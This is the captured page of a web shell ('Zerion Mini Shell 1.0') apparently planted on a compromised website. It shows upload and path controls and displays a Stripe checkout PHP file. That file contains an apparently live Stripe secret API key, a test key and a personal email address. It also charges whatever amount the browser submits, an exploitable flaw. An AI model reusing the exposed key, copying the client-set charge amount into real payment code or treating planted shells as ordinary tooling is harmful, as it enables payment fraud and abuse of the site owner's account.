%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/eirtvhdf/logobrainiac.com/stripe/
Upload File :
Create Path :
Current File : /home/eirtvhdf/logobrainiac.com/stripe/checkout.php

<?php
/*foreach ($_POST as $key => $value) {
    echo "Field ".htmlspecialchars($key)." is ".htmlspecialchars($value)."<br>";
}*/
?>


<?php require_once('../root_stripe/stripe/init.php'); ?>

<?php


// Set your secret key: remember to change this to your live secret key in production
// See your keys here: https://dashboard.stripe.com/account/apikeys
//\Stripe\Stripe::setApiKey("sk_test_yAeBLEexLzniHQPix52aXQ4H");
\Stripe\Stripe::setApiKey("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");

// Token is created using Checkout or Elements!
// Get the payment token ID submitted by the form:
$token = $_POST['stripeToken'];
$amount = $_POST['stripeAmount'];
$desc = $_POST['stripeDesc'];

$charge = \Stripe\Charge::create([
    'amount' => $amount,
    'currency' => 'usd',
    'description' => $desc,
    'source' => $token,
    'receipt_email' => 'fahadansari91@gmail.com',
]);

//echo $charge;
//header('Location: '.'/eirtechs/');
echo '<script type="text/javascript">
           window.location = "../PaymentDone.php"
      </script>';
	?>


Zerion Mini Shell 1.0